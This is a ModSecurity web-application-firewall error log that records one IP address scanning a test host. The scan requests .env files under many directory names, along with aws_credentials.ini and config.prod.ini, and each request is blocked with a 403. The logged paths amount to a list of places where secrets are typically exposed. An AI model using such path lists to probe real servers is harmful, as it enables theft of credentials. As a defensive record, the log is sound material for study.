[Thu Mar 12 21:45:26.085953 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "abMl5tQgN0ifamzUYv2NGgAAAAE"]
[Thu Mar 12 21:45:26.086161 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "abMl5tQgN0ifamzUYv2NGgAAAAE"]
[Thu Mar 12 21:45:26.086301 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "abMl5tQgN0ifamzUYv2NGgAAAAE"]
[Thu Mar 12 21:45:26.108294 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "abMl5tQgN0ifamzUYv2NGwAAAAE"]
[Thu Mar 12 21:45:26.108487 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "abMl5tQgN0ifamzUYv2NGwAAAAE"]
[Thu Mar 12 21:45:26.108611 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "abMl5tQgN0ifamzUYv2NGwAAAAE"]
[Thu Mar 12 21:45:26.313836 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/aws_credentials.ini"] [unique_id "abMl5tQgN0ifamzUYv2NJAAAAAE"]
[Thu Mar 12 21:45:26.314240 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/aws_credentials.ini"] [unique_id "abMl5tQgN0ifamzUYv2NJAAAAAE"]
[Thu Mar 12 21:45:26.314476 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/aws_credentials.ini"] [unique_id "abMl5tQgN0ifamzUYv2NJAAAAAE"]
[Thu Mar 12 21:45:26.336531 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back-api/.env"] [unique_id "abMl5tQgN0ifamzUYv2NJQAAAAE"]
[Thu Mar 12 21:45:26.336747 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back-api/.env"] [unique_id "abMl5tQgN0ifamzUYv2NJQAAAAE"]
[Thu Mar 12 21:45:26.336884 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back-api/.env"] [unique_id "abMl5tQgN0ifamzUYv2NJQAAAAE"]
[Thu Mar 12 21:45:26.358895 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back-end/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back-end/.env"] [unique_id "abMl5tQgN0ifamzUYv2NJgAAAAE"]
[Thu Mar 12 21:45:26.359101 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back-end/.env"] [unique_id "abMl5tQgN0ifamzUYv2NJgAAAAE"]
[Thu Mar 12 21:45:26.359238 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back-end/.env"] [unique_id "abMl5tQgN0ifamzUYv2NJgAAAAE"]
[Thu Mar 12 21:45:26.381280 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back/.env"] [unique_id "abMl5tQgN0ifamzUYv2NJwAAAAE"]
[Thu Mar 12 21:45:26.381475 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back/.env"] [unique_id "abMl5tQgN0ifamzUYv2NJwAAAAE"]
[Thu Mar 12 21:45:26.381611 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/back/.env"] [unique_id "abMl5tQgN0ifamzUYv2NJwAAAAE"]
[Thu Mar 12 21:45:26.403718 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend-api/.env"] [unique_id "abMl5tQgN0ifamzUYv2NKAAAAAE"]
[Thu Mar 12 21:45:26.403919 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend-api/.env"] [unique_id "abMl5tQgN0ifamzUYv2NKAAAAAE"]
[Thu Mar 12 21:45:26.404053 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend-api/.env"] [unique_id "abMl5tQgN0ifamzUYv2NKAAAAAE"]
[Thu Mar 12 21:45:26.677988 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.env"] [unique_id "abMl5tQgN0ifamzUYv2NNAAAAAE"]
[Thu Mar 12 21:45:26.678179 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.env"] [unique_id "abMl5tQgN0ifamzUYv2NNAAAAAE"]
[Thu Mar 12 21:45:26.678304 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.env"] [unique_id "abMl5tQgN0ifamzUYv2NNAAAAAE"]
[Thu Mar 12 21:45:26.700303 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/be/.env"] [unique_id "abMl5tQgN0ifamzUYv2NNQAAAAE"]
[Thu Mar 12 21:45:26.700494 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/be/.env"] [unique_id "abMl5tQgN0ifamzUYv2NNQAAAAE"]
[Thu Mar 12 21:45:26.700621 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/be/.env"] [unique_id "abMl5tQgN0ifamzUYv2NNQAAAAE"]
[Thu Mar 12 21:45:26.722809 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /beta/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.env"] [unique_id "abMl5tQgN0ifamzUYv2NNgAAAAE"]
[Thu Mar 12 21:45:26.723024 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.env"] [unique_id "abMl5tQgN0ifamzUYv2NNgAAAAE"]
[Thu Mar 12 21:45:26.723142 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.env"] [unique_id "abMl5tQgN0ifamzUYv2NNgAAAAE"]
[Thu Mar 12 21:45:26.768094 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/client/.env"] [unique_id "abMl5tQgN0ifamzUYv2NOAAAAAE"]
[Thu Mar 12 21:45:26.768290 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/client/.env"] [unique_id "abMl5tQgN0ifamzUYv2NOAAAAAE"]
[Thu Mar 12 21:45:26.768429 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/client/.env"] [unique_id "abMl5tQgN0ifamzUYv2NOAAAAAE"]
[Thu Mar 12 21:45:26.790440 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cms/.env"] [unique_id "abMl5tQgN0ifamzUYv2NOQAAAAE"]
[Thu Mar 12 21:45:26.790624 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cms/.env"] [unique_id "abMl5tQgN0ifamzUYv2NOQAAAAE"]
[Thu Mar 12 21:45:26.790745 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cms/.env"] [unique_id "abMl5tQgN0ifamzUYv2NOQAAAAE"]
[Thu Mar 12 21:45:26.999570 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.prod.ini"] [unique_id "abMl5k8nGn4wn25ee5025wAAAAU"]
[Thu Mar 12 21:45:26.999970 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.prod.ini"] [unique_id "abMl5k8nGn4wn25ee5025wAAAAU"]
[Thu Mar 12 21:45:27.001315 2026] [:error] [pid 2656517] [client 185.177.72.13:41256] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.prod.ini"] [unique_id "abMl5k8nGn4wn25ee5025wAAAAU"]
